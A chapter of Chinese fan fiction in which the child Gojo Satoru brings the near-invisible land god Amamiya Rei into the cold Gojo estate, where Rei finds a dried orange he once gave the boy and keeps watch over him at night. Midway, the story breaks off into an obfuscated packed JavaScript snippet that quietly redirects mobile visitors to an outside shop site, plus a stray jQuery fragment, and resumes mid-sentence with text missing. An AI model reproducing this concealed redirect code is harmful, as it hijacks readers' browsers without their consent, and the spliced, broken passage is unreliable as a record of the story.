五条悟愣住了。
他的嘴唇微微张开,又合上。
那张一直面无表情的小脸上,第一次出现了如此明显的、来不及掩饰的表情变化——先是惊讶,然后是不解,然后像一颗石子投进了平静的湖面,涟漪一圈一圈地荡开。
雨宫怜伸出手,朝前方的空气探了探。指尖在越过某条无形的边界时微微变得透明,但没有消散。
“之前不行,”他说,“但现在——”
他站起来,朝五条悟走了两步。
脚迈出去,身体没有变淡,没有消散。
“好像可以了。”
五条悟眼睛亮了一下。
护卫队长还在等五条悟的回答,完全不知道刚才这几秒钟发生了什么。
在他的视角里,自家神子只是忽然转头看了一眼空气,然后沉默了很久。
“神子大人?”
五条悟收回视线,站起来,把书夹在腋下。
“走。”
护卫队长如蒙大赦,连忙侧身让开路。
五条悟从他身边走过,步伐不紧不慢,脊背挺得笔直,和平时一模一样。
但雨宫怜看见,他走过自己身边的时候,脚步放慢了一点点。
像一个无声的邀请——跟上来。
雨宫怜笑了笑,抬脚跟了上去。
他走在五条悟身侧,半透明的身影在阳光下淡得像一缕烟。
周围的人没有一个注意到他,他们的目光全都落在自家神子身上,恭敬、畏惧、疏离。
只有五条悟知道他的存在。
就在自己左手边,不远不近,刚好一拳的距离。
前面是实心的、穿着白色和服的、步伐稳重的神子。旁边是半透明的、长发被风吹起的、只有一个人能看见的土地神。
没有人说话。
……
五条家的宅邸比他想象的大得多。
不,大这个词不够准确。
是空旷。
每一寸空间都被精心规划过、却没有任何一寸属于“人”的烟火气。
长廊蜿蜒曲折,仿佛永远走不到尽头。木质地板在脚下发出沉闷的声响,每一声都规规矩矩地落在同一个节拍上,像被某种看不见的节拍器控制着。
每一扇门都一模一样,每一盏灯都摆在同样的位置,投下同样形状的光影,像无数面镜子互相映照,却照不出任何一张脸。
雨宫怜走在五条悟身后,半透明的脚步无声无息地踩在光滑的木板上。
他看着眼前这个小小的背影——白色的和服,笔直的脊背,步伐稳健得像一个在刀尖上行走的舞者。
这是这个孩子每天都要走的路。
路过的仆人看见五条悟,像被按下了某个开关一样立刻跪下行礼。
额头贴地,双手叠在膝前,姿态标准得像是用量角器量过的。
没有人抬头,没有人出声,甚至连呼吸都被压到了最低。
五条悟没有看他们,径直走过,如同路过一排不会动的石像。
这些人在五条家不是人,只是会动的家具。
是这座巨大宅邸里无数零件中的几个。
家主的房间比雨宫怜想象的大得多,空旷又冷清,让人一进门就想退出去。
帘幕从天花板垂到地面,将房间一分为二,后面隐约可见一个老人的轮廓——
枯瘦的,佝偻的,像一棵快要枯死的老树。
唯独那双眼睛是亮的,亮得不像一个行将就木的人该有的明亮。
五条悟表情冷淡的坐在帘幕前的一侧,脊背挺直,双手规矩地放在膝盖上。
雨宫怜站在角落里,靠着墙,看着一切。
“结界的问题已经在排查了。”
老人的声音平静得像在念一份报告,“在这之前,护卫队会跟着你。”
“后山那边,暂时不要去了。”
五条悟没有说话。
但雨宫怜看见了他的手。
那双放在膝盖上的小手,攥着衣摆,指尖泛白。
他在生气。
雨宫怜站在角落里,看着那个孩子面无表情地承受这一切,忽然觉得自己喉咙里也堵着什么东西。
召见没有持续太久。
该说的说完了,该听的听完了,老人挥了挥手,像赶走一只飞进房间的飞虫。
五条悟站起来,行了一礼,转身离开。
雨宫怜跟在他身后,走过那条永远走不完的长廊,经过那些跪了一地的仆人,第一次来到了五条悟的院子。
院子很大,看起来可以放下十个银杏树。
雨宫怜站在空地中央,觉得自己的存在都被稀释了。
但这里什么都没有。
没有玩具,没有绘本,没有任何一个“活着的孩子”留下的温度。
只有一张床,一张桌子,一个衣柜。
整齐、干净、完美。
像极了酒店客房。
雨宫怜的目光从这些家具上一一扫过,然后停在了枕头旁边。
他走近了看,是一个橘子。
表皮已经完全干缩了,皱巴巴地裹在果肉上,颜色从橘黄变成了深褐色。有些地方已经发黑了,像一块被遗忘在角落里的化石。
它被放在枕头旁边,最靠近心脏的位置。
雨宫怜认出那个橘子。
是很久以前,他随手塞给五条悟的。那时候他第一次用神明之身剥橘子,剥了一个,自己没吃,递给了旁边看书的小孩。
小孩当时攥在手里攥了很久。
他以为已经吃了,没想到他还留着。
雨宫怜站在床边,看着那个干瘪的橘子,忽然觉得喉咙有点紧。
他不是那种容易感动的人。
或者说,作为土地神,他的情感本来就比别人迟钝。
但此刻,有什么东西穿过了那层水,直直地撞进了他的胸口。
一种说不清的、闷闷的、像被什么东西堵住了的感觉。
他想起这个孩子说“没有喜欢不喜欢,只是要看”时平淡的语气。想起他说“我没有玩过”时理所当然的表情。想起他站在银杏树下,浑身是血,说“我杀了他”时毫无波澜的声音。
他没有拥有过任何属于自己的东西。
所以他留下了这个橘子。
一个干瘪的、不能吃的、别人随手塞给他的橘子。
在这间什么都没有的、空旷的、冰冷的房间里。
这是他唯一拥有的东西。
夜晚来得很快。
五条家的宅邸在夜晚变得更加安静,沉甸甸的,让人喘不过气。
五条悟躺在床上,被子整齐地盖到胸口,双手放在被子外面,姿态标准得像教科书上的插图。
但他的眼睛是睁着的,苍蓝色的瞳孔在黑暗中微微发光,像两颗坠落在枕头上、还没来得及熄灭的星星。
受限
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17974553|214716||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
于六眼,他就连睡觉也饱受信息干扰,入睡十分困难。
雨宫怜坐在窗台上,一条腿曲起,另一条腿垂在窗沿外面。月光照在他半透明的皮肤上,给他镀了一层银白色的光。金色的长发散在肩头,在夜风里轻轻飘动。
他看起来不像一个土地神,更像一个从月亮上掉下来的、误入人间的梦。
“你睡不着?”雨宫怜问。
“嗯。”
“为什么?”
五条悟沉默了一会儿。
窗外的月光照进来,在地板上画出一个方方正正的白色方块。
“太安静了。”
雨宫怜愣了一下。
以前这个孩子总说“太吵了”——六眼接收到的信息太多,所有的东西都涌进来,关不掉,躲不开。
现在他说“太安静了”。
在这座巨大的、华丽的牢笼里,没有那个人。
那个人现在就坐在窗台上。
“那我陪你说话?”雨宫怜试探着问。
“不用。”
五条悟翻了个身,面朝墙壁,背对着他。
被子随着动作发出轻微的窸窣声,然后一切又归于安静。
“你在就行。”
声音闷闷的,从被子和墙壁之间的缝隙里传出来,模糊得像隔了一层水。
雨宫怜看着那个小小的、蜷缩的背影。
被子鼓起一个小小的包,白色的发丝从枕头边缘露出来,在月光下泛着淡淡的银光。他的呼吸很轻很浅,但雨宫怜知道他没有睡着。
他在“看”,“看”窗台上那个人有没有离开。
雨宫怜没有走。
他靠在窗框上,月光照在他的侧脸上,金色的睫毛在眼下投下一小片扇形的阴影。
“那我就不走了。”
他说得很轻,像怕惊动什么。
被子鼓起的小包微微动了一下。
然后,很轻很轻的,从被子里传出一个声音。
“……嗯。”
半夜,五条悟醒了。
不是被噩梦惊醒,也不是被什么声音吵醒——就是单纯像一台精密到过分的机器,从待机状态自动启动,没有任何理由。
五条悟睁开眼,月光从窗缝里漏进来,在地板上画出一道细细的白线。
房间很安静,能听见自己的心跳声。
他看向窗台上的那个身影。
雨宫怜坐在窗台上,头靠着窗框,闭着眼睛。
金色的长发散在肩头,在月光下泛着淡淡的银光。
他在睡觉。
一个不需要睡觉的神明,靠着窗框睡着了。
五条悟看了他一会儿。
“你在干什么。”
声音不大,但在安静的房间里格外清晰。
雨宫怜的睫毛颤了一下,睁开一只眼。
“守夜。”
他的声音带着刚醒时的沙哑,“怕有人来杀你。”
“……你很弱。”
小孩的语气陈述事实般平淡。
“弱也要守啊。”
雨宫怜打了个哈欠,眼角渗出一点水光,“万一呢,万一我正好能挡一下呢。”
五条悟看着他。
这个人的身体连一阵大风都扛不住,存在薄得像一张纸,战斗力约等于零——不对,是负数。
到底哪里来的自信?
五条悟没有说话,翻了个身,面朝墙壁。